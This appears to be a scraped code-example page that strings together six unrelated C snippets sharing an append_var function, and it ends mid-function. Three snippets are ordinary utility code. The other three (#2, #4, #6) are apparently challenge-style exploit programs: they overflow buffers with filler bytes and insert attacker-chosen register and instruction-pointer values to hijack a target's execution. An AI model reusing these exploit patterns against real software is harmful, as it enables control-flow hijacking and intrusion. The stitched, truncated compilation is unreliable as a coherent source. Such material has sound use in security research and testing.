Exemple #1
0
/** Expand variables (e.g. POSIX ~ or $FOO, Windows %FOO%) in `path`. */
char*
lilv_expand(const char* path)
{
#ifdef _WIN32
	char* out = (char*)malloc(MAX_PATH);
	ExpandEnvironmentStrings(path, out, MAX_PATH);
#else
	char*  out = NULL;
	size_t len = 0;

	const char* start = path;  // Start of current chunk to copy
	for (const char* s = path; *s;) {
		if (*s == '$') {
			// Hit $ (variable reference, e.g. $VAR_NAME)
			for (const char* t = s + 1; ; ++t) {
				if (!*t || (!isupper(*t) && !isdigit(*t) && *t != '_')) {
					// Append preceding chunk
					out = strappend(out, &len, start, s - start);

					// Append variable value (or $VAR_NAME if not found)
					char* var = (char*)calloc(t - s, 1);
					memcpy(var, s + 1, t - s - 1);
					out = append_var(out, &len, var);
					free(var);

					// Continue after variable reference
					start = s = t;
					break;
				}
			}
		} else if (*s == '~' && (*(s + 1) == '/' || !*(s + 1))) {
			// Hit ~ before slash or end of string (home directory reference)
			out = strappend(out, &len, start, s - start);
			out = append_var(out, &len, "HOME");
			start = ++s;
		} else {
			++s;
		}
	}

	if (*start) {
		out = strappend(out, &len, start, strlen(start));
	}
#endif

	return out;
}
Exemple #2
0
int main(void) {
    negotiate_type1(0xfefefefe, 0xfefefefe, 5);

    int i, buf_len = 0;
    char buf[32], *pbuf;
    unsigned char exploit[4096];
    unsigned char *eip = NULL, *reg = NULL;
    unsigned int eip_len = 0, reg_len = 0, exp_len = 0;
    char *key = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

    transmit_all(STDOUT, "2\n", 2);
    transmit_all(STDOUT, key, 95);

    eip = append_var("TYPE1_IP", eip, &eip_len);
    reg = append_var("TYPE1_REG", reg, &reg_len);

    memset(exploit, 0, sizeof(exploit));
    bio_t *bio = bit_new(exploit);

    for (i = 0; i < 2316; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, '\x41', 8);
    }
    for (i = 0; i < 4; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, reg[i], 8);
    }
    for (i = 0; i < 4; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, eip[i], 8);
    }

    exp_len = bio->didx + !!(bio->bidx > 0);
    pbuf = _print_signed(buf + 32, &buf_len, exp_len + 4);
    transmit_all(STDOUT, pbuf, buf_len);
    transmit_all(STDOUT, "\n", 1);
    buf_len = 2316 + 4 + 4;
    transmit_all(STDOUT, (char *)&buf_len, 4);
    transmit_all(STDOUT, exploit, exp_len);
    return 0;
}
Exemple #3
0
static int append_fixed_vars(struct sip_msg *msg, struct hf_wrapper **list)
{
	static char tid[MD5_LEN];
	str *uri;
	struct sip_uri parsed_uri, oparsed_uri;
	char *val;
	int val_len;

	/* source ip */
	if (!append_var(EV_SRCIP, ip_addr2a(&msg->rcv.src_ip), 0, list)) {
		LOG(L_ERR, "ERROR: append_var SRCIP failed \n");
		return 0;
	}
	/* request URI */
	uri=msg->new_uri.s && msg->new_uri.len ? 
		&msg->new_uri : &msg->first_line.u.request.uri;
	if (!append_var(EV_RURI, uri->s, uri->len, list )) {
		LOG(L_ERR, "ERROR: append_var URI failed\n");
		return 0;
	}
	/* userpart of request URI */
	if (parse_uri(uri->s, uri->len, &parsed_uri)<0) {
		LOG(L_WARN, "WARNING: append_var: URI not parsed\n");
	} else {
		if (!append_var(EV_USER, parsed_uri.user.s, 
					parsed_uri.user.len, list)) {
			LOG(L_ERR, "ERROR: append_var USER failed\n");
			goto error;
		}
	}
	/* original URI */
	if (!append_var(EV_ORURI, msg->first_line.u.request.uri.s,
				msg->first_line.u.request.uri.len, list)) {
		LOG(L_ERR, "ERROR: append_var O-URI failed\n");
		goto error;
	}
	/* userpart of request URI */
	if (parse_uri(msg->first_line.u.request.uri.s, 
				msg->first_line.u.request.uri.len, 
				&oparsed_uri)<0) {
		LOG(L_WARN, "WARNING: append_var: orig URI not parsed\n");
	} else {
		if (!append_var(EV_OUSER, oparsed_uri.user.s, 
					oparsed_uri.user.len, list)) {
			LOG(L_ERR, "ERROR: append_var OUSER failed\n");
			goto error;
		}
	}
	/* tid, transaction id == via/branch */
	if (!char_msg_val(msg, tid)) {
		LOG(L_WARN, "WARNING: no tid can be determined\n");
		val=0; val_len=0;
	} else {
		val=tid;val_len=MD5_LEN;
	}
	if (!append_var(EV_TID, val,val_len, list)) {
		LOG(L_ERR, "ERROR: append_var TID failed\n");
		goto error;
	}

	/* did, dialogue id == To-tag */
	if (!(msg->to && get_to(msg) ))  {
		LOG(L_ERR, "ERROR: append_var: no to-tag\n");
		val=0; val_len=0;
	} else {
		val=get_to(msg)->tag_value.s;
		val_len=get_to(msg)->tag_value.len;
	}
	if (!append_var(EV_DID, val, val_len, list)) {
		LOG(L_ERR, "ERROR: append_var DID failed\n");
		goto error;
	}
	return 1;
error:
	return 0;
}
Exemple #4
0
int main(void) {
   negotiate_type1(0xfbfbfbfb, 0xfbfbfbfb, 2);
   do {
      unsigned char *read_00000;
      unsigned int read_00000_len;
      unsigned int read_00000_ptr = 0;
      //**** length read
      read_00000_len = 260;
      read_00000 = (unsigned char*)malloc(read_00000_len);
      int read_00000_res = length_read(0, read_00000, read_00000_len);
      if (read_00000_res) {} //silence unused variable warning
      //**** read match data
      static unsigned char match_00000_00000[] = 
         "\x00\x00\x00\x00\x49\x4e\x49\x54\x53\x54\x41\x52\x54\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00";
      read_00000_ptr += data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 259);
      free(read_00000);
      if (read_00000_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00000_00000[] = 
         "\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x24";
      static unsigned int write_00000_00000_len = 13;
      unsigned char *write_00000 = NULL;
      unsigned int write_00000_len = 0;
      write_00000 = append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
      if (write_00000_len > 0) {
         transmit_all(1, write_00000, write_00000_len);
      }
      free(write_00000);
   } while (0);
   do {
      unsigned char *read_00001;
      unsigned int read_00001_len;
      unsigned int read_00001_ptr = 0;
      //**** length read
      read_00001_len = 260;
      read_00001 = (unsigned char*)malloc(read_00001_len);
      int read_00001_res = length_read(0, read_00001, read_00001_len);
      if (read_00001_res) {} //silence unused variable warning
      //**** read match data
      static unsigned char match_00001_00000[] = 
         "\x02\x00\x00\x00\x0a\x50\x61\x79\x6d\x65\x6e\x74\x73\x20\x6d\x61"
         "\x64\x65\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x54\x69\x63"
         "\x6b\x65\x74\x73\x20\x67\x69\x76\x65\x6e\x3a\x20\x30\x30\x30\x30"
         "\x30\x30\x30\x30\x0a\x43\x6f\x75\x70\x6f\x6e\x73\x20\x75\x73\x65"
         "\x64\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x47\x72\x6f\x73"
         "\x73\x20\x72\x65\x76\x65\x6e\x75\x65\x3a\x20\x30\x30\x30\x30\x30"
         "\x30\x30\x30\x0a\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x20\x63\x6f"
         "\x73\x74\x73\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x4e\x65"
         "\x74\x20\x72\x65\x76\x65\x6e\x75\x65\x3a\x20\x30\x30\x30\x30\x30"
         "\x30\x30\x30\x0a\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00";
      read_00001_ptr += data_match(read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, match_00001_00000, 259);
      free(read_00001);
      if (read_00001_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00001_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x24";
      static unsigned int write_00001_00000_len = 21;
      unsigned char *write_00001 = NULL;
      unsigned int write_00001_len = 0;
      write_00001 = append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
      if (write_00001_len > 0) {
         transmit_all(1, write_00001, write_00001_len);
      }
      free(write_00001);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00002_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
      static unsigned int write_00002_00000_len = 32;
      unsigned char *write_00002 = NULL;
      unsigned int write_00002_len = 0;
      write_00002 = append_buf(write_00002, &write_00002_len, write_00002_00000, write_00002_00000_len);
      if (write_00002_len > 0) {
         transmit_all(1, write_00002, write_00002_len);
      }
      free(write_00002);
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00003 = NULL;
      unsigned int write_00003_len = 0;
      write_00003 = append_var("TYPE1_REG", write_00003, &write_00003_len);
      if (write_00003_len > 0) {
         transmit_all(1, write_00003, write_00003_len);
      }
      free(write_00003);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00004_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00";
      static unsigned int write_00004_00000_len = 84;
      unsigned char *write_00004 = NULL;
      unsigned int write_00004_len = 0;
      write_00004 = append_buf(write_00004, &write_00004_len, write_00004_00000, write_00004_00000_len);
      if (write_00004_len > 0) {
         transmit_all(1, write_00004, write_00004_len);
      }
      free(write_00004);
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00005 = NULL;
      unsigned int write_00005_len = 0;
      write_00005 = append_var("TYPE1_IP", write_00005, &write_00005_len);
      if (write_00005_len > 0) {
         transmit_all(1, write_00005, write_00005_len);
      }
      free(write_00005);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00006_00000[] = 
         "\x24";
      static unsigned int write_00006_00000_len = 1;
      unsigned char *write_00006 = NULL;
      unsigned int write_00006_len = 0;
      write_00006 = append_buf(write_00006, &write_00006_len, write_00006_00000, write_00006_00000_len);
      if (write_00006_len > 0) {
         transmit_all(1, write_00006, write_00006_len);
      }
      free(write_00006);
   } while (0);
   do {
      unsigned char *read_00002;
      unsigned int read_00002_len;
      unsigned int read_00002_ptr = 0;
      //**** length read
      read_00002_len = 260;
      read_00002 = (unsigned char*)malloc(read_00002_len);
      int read_00002_res = length_read(0, read_00002, read_00002_len);
      if (read_00002_res) {} //silence unused variable warning
      //**** read match data
      static unsigned char match_00002_00000[] = 
         "\x02\x00\x00\x00\x0a\x50\x61\x79\x6d\x65\x6e\x74\x73\x20\x6d\x61"
         "\x64\x65\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x54\x69\x63"
         "\x6b\x65\x74\x73\x20\x67\x69\x76\x65\x6e\x3a\x20\x30\x30\x30\x30"
         "\x30\x30\x30\x30\x0a\x43\x6f\x75\x70\x6f\x6e\x73\x20\x75\x73\x65"
         "\x64\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x47\x72\x6f\x73"
         "\x73\x20\x72\x65\x76\x65\x6e\x75\x65\x3a\x20\x30\x30\x30\x30\x30"
         "\x30\x30\x30\x0a\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x20\x63\x6f"
         "\x73\x74\x73\x3a\x20\x30\x30\x30\x30\x30\x30\x30\x30\x0a\x4e\x65"
         "\x74\x20\x72\x65\x76\x65\x6e\x75\x65\x3a\x20\x30\x30\x30\x30\x30"
         "\x30\x30\x30\x0a\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00";
      read_00002_ptr += data_match(read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, match_00002_00000, 259);
      free(read_00002);
      if (read_00002_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00003;
      unsigned int read_00003_len;
      unsigned int read_00003_ptr = 0;
      //**** length read
      read_00003_len = 260;
      read_00003 = (unsigned char*)malloc(read_00003_len);
      int read_00003_res = length_read(0, read_00003, read_00003_len);
      if (read_00003_res) {} //silence unused variable warning
      //**** read match data
      static unsigned char match_00003_00000[] = 
         "\x03\x00\x00\x00\x64\x6f\x6e\x65\x2e\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00";
      read_00003_ptr += data_match(read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, match_00003_00000, 259);
      free(read_00003);
      if (read_00003_ptr) {}  //silence unused variable warning if any
   } while (0);
}
Exemple #5
0
int
main(int argc, char **argv)
{
	int opt, dump, fd, res, i, size;
	uint8_t buf[NVRAM_SIZE], *cp, *common;
	struct deletelist *dl;

	dump = 0;
	dl = NULL;

	while((opt = getopt(argc, argv, "d:p")) != -1) {
		switch(opt) {
		case 'p':
			dump = 1;
			break;

		case 'd':
			if (dl == NULL) {
				dl = malloc(sizeof(*dl));
				if (dl == NULL)
					err(1, "malloc");
				bzero(dl, sizeof(*dl));
				dl->last = dl;
			} else {
				dl->last->next = malloc(sizeof(*dl));
				if (dl->last->next == NULL)
					err(1, "malloc");
				dl->last = dl->last->next;
				bzero(dl->last, sizeof(*dl));
			}
			dl->last->name = optarg;
			break;

		default:
			usage();
			/* Not reached */
		}
	}
	argc -= optind;
	argv += optind;

	if (argc == 0 && dump == 0 && dl == NULL) {
		usage();
		/* Not reached */
	}

	fd = open(DEVICE_NAME, O_RDWR);
	if (fd == -1)
		err(1, DEVICE_NAME);
	for (i = 0; i < (int)sizeof(buf);) {
		res = read(fd, buf + i, sizeof(buf) - i);
		if (res == -1 && errno != EINTR)
			err(1, DEVICE_NAME);
		if (res == 0)
			break;
		if (res > 0)
			i += res;
	}
	if (i != sizeof(buf))
		errx(1, "%s: short read", DEVICE_NAME);

	/* Locate common block */
	size = 0;
	for (cp = buf; cp < buf + sizeof(buf); cp += size) {
		memcpy(conv.buf, cp, sizeof(struct chrp_header));
		size = conv.header.length * 0x10;
		if (strncmp(conv.header.name, "common", 7) == 0)
			break;
	}
	if (cp >= buf + sizeof(buf) || size <= (int)sizeof(struct chrp_header))
		errx(1, "%s: no common block", DEVICE_NAME);
	common = cp + sizeof(struct chrp_header);
	size -= sizeof(struct chrp_header);

	if (dump != 0) {
		while (size > 0) {
			i = strlen(common) + 1;
			if (i == 1)
				break;
			printf("%s\n", common);
			size -= i;
			common += i;
		}
		exit(0);
	}

	for (;dl != NULL; dl = dl->next) {
		if (remove_var(common, size, dl->name) == 0)
			warnx("%s: no such variable", dl->name);
	}

	for (; argc > 0; argc--, argv++) {
		cp = strchr(*argv, '=');
		if (cp == NULL)
			errx(1, "%s: invalid argument", *argv);
		cp[0] = '\0';
		cp++;
		remove_var(common, size, *argv);
		if (append_var(common, size, *argv, cp) == -1)
			errx(1, "%s: error setting variable", *argv);
	}

	for (i = 0; i < (int)sizeof(buf);) {
		res = write(fd, buf + i, sizeof(buf) - i);
		if (res == -1 && errno != EINTR)
			err(1, DEVICE_NAME);
		if (res == 0)
			break;
		if (res > 0)
			i += res;
	}
	if (i != sizeof(buf))
		errx(1, "%s: short write", DEVICE_NAME);
	if (close(fd) == -1)
		err(1, DEVICE_NAME);

	exit(0);
}
Exemple #6
0
int main(void) {
   negotiate_type2();
   do {
      //*** writing data
      static unsigned char write_00000_00000[] = 
         "\x00\x00\x00\x00";
      static unsigned int write_00000_00000_len = 4;
      unsigned char *write_00000 = NULL;
      unsigned int write_00000_len = 0;
      write_00000 = append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
      if (write_00000_len > 0) {
         transmit_all(1, write_00000, write_00000_len);
      }
      free(write_00000);
   } while (0);
   do {
      unsigned char *read_00000;
      unsigned int read_00000_len;
      unsigned int read_00000_ptr = 0;
      //**** length read
      read_00000_len = 4;
      read_00000 = (unsigned char*)malloc(read_00000_len);
      int read_00000_res = length_read(0, read_00000, read_00000_len);
      if (read_00000_res) {} //silence unused variable warning
      //**** read assign to var "sessionA" from slice
      assign_from_slice("sessionA", read_00000, read_00000_len - read_00000_ptr, 0, 0, 1);
      free(read_00000);
      if (read_00000_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00001 = NULL;
      unsigned int write_00001_len = 0;
      write_00001 = append_var("sessionA", write_00001, &write_00001_len);
      if (write_00001_len > 0) {
         transmit_all(1, write_00001, write_00001_len);
      }
      free(write_00001);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00002_00000[] = 
         "\x00\x02";
      static unsigned int write_00002_00000_len = 2;
      unsigned char *write_00002 = NULL;
      unsigned int write_00002_len = 0;
      write_00002 = append_buf(write_00002, &write_00002_len, write_00002_00000, write_00002_00000_len);
      if (write_00002_len > 0) {
         transmit_all(1, write_00002, write_00002_len);
      }
      free(write_00002);
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00003 = NULL;
      unsigned int write_00003_len = 0;
      write_00003 = append_var("sessionA", write_00003, &write_00003_len);
      if (write_00003_len > 0) {
         transmit_all(1, write_00003, write_00003_len);
      }
      free(write_00003);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00004_00000[] = 
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
         "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
      static unsigned int write_00004_00000_len = 512;
      unsigned char *write_00004 = NULL;
      unsigned int write_00004_len = 0;
      write_00004 = append_buf(write_00004, &write_00004_len, write_00004_00000, write_00004_00000_len);
      if (write_00004_len > 0) {
         transmit_all(1, write_00004, write_00004_len);
      }
      free(write_00004);
   } while (0);
   do {
      unsigned char *read_00001;
      unsigned int read_00001_len;
      unsigned int read_00001_ptr = 0;
      //**** length read
      read_00001_len = 4;
      read_00001 = (unsigned char*)malloc(read_00001_len);
      int read_00001_res = length_read(0, read_00001, read_00001_len);
      if (read_00001_res) {} //silence unused variable warning
      free(read_00001);
      if (read_00001_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00002;
      unsigned int read_00002_len;
      unsigned int read_00002_ptr = 0;
      //**** length read
      read_00002_len = 256;
      read_00002 = (unsigned char*)malloc(read_00002_len);
      int read_00002_res = length_read(0, read_00002, read_00002_len);
      if (read_00002_res) {} //silence unused variable warning
      free(read_00002);
      if (read_00002_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00005_00000[] = 
         "\x00\x00\x00\x00";
      static unsigned int write_00005_00000_len = 4;
      unsigned char *write_00005 = NULL;
      unsigned int write_00005_len = 0;
      write_00005 = append_buf(write_00005, &write_00005_len, write_00005_00000, write_00005_00000_len);
      if (write_00005_len > 0) {
         transmit_all(1, write_00005, write_00005_len);
      }
      free(write_00005);
   } while (0);
   do {
      unsigned char *read_00003;
      unsigned int read_00003_len;
      unsigned int read_00003_ptr = 0;
      //**** length read
      read_00003_len = 4;
      read_00003 = (unsigned char*)malloc(read_00003_len);
      int read_00003_res = length_read(0, read_00003, read_00003_len);
      if (read_00003_res) {} //silence unused variable warning
      //**** read assign to var "sessionB" from slice
      assign_from_slice("sessionB", read_00003, read_00003_len - read_00003_ptr, 0, 0, 1);
      free(read_00003);
      if (read_00003_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00006 = NULL;
      unsigned int write_00006_len = 0;
      write_00006 = append_var("sessionB", write_00006, &write_00006_len);
      if (write_00006_len > 0) {
         transmit_all(1, write_00006, write_00006_len);
      }
      free(write_00006);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00007_00000[] = 
         "\x08\x00";
      static unsigned int write_00007_00000_len = 2;
      unsigned char *write_00007 = NULL;
      unsigned int write_00007_len = 0;
      write_00007 = append_buf(write_00007, &write_00007_len, write_00007_00000, write_00007_00000_len);
      if (write_00007_len > 0) {
         transmit_all(1, write_00007, write_00007_len);
      }
      free(write_00007);
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00008 = NULL;
      unsigned int write_00008_len = 0;
      write_00008 = append_var("sessionB", write_00008, &write_00008_len);
      if (write_00008_len > 0) {
         transmit_all(1, write_00008, write_00008_len);
      }
      free(write_00008);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00009_00000[] = 
         "\x00\x00\x00\x00\x00\x00\x00\x00";
      static unsigned int write_00009_00000_len = 8;
      unsigned char *write_00009 = NULL;
      unsigned int write_00009_len = 0;
      write_00009 = append_buf(write_00009, &write_00009_len, write_00009_00000, write_00009_00000_len);
      if (write_00009_len > 0) {
         transmit_all(1, write_00009, write_00009_len);
      }
      free(write_00009);
   } while (0);
   do {
      unsigned char *read_00004;
      unsigned int read_00004_len;
      unsigned int read_00004_ptr = 0;
      //**** length read
      read_00004_len = 4;
      read_00004 = (unsigned char*)malloc(read_00004_len);
      int read_00004_res = length_read(0, read_00004, read_00004_len);
      if (read_00004_res) {} //silence unused variable warning
      free(read_00004);
      if (read_00004_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00005;
      unsigned int read_00005_len;
      unsigned int read_00005_ptr = 0;
      //**** length read
      read_00005_len = 256;
      read_00005 = (unsigned char*)malloc(read_00005_len);
      int read_00005_res = length_read(0, read_00005, read_00005_len);
      if (read_00005_res) {} //silence unused variable warning
      free(read_00005);
      if (read_00005_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      //*** writing data
      unsigned char *write_00010 = NULL;
      unsigned int write_00010_len = 0;
      write_00010 = append_var("sessionB", write_00010, &write_00010_len);
      if (write_00010_len > 0) {
         transmit_all(1, write_00010, write_00010_len);
      }
      free(write_00010);
   } while (0);
   do {
      unsigned char *read_00006;
      unsigned int read_00006_len;
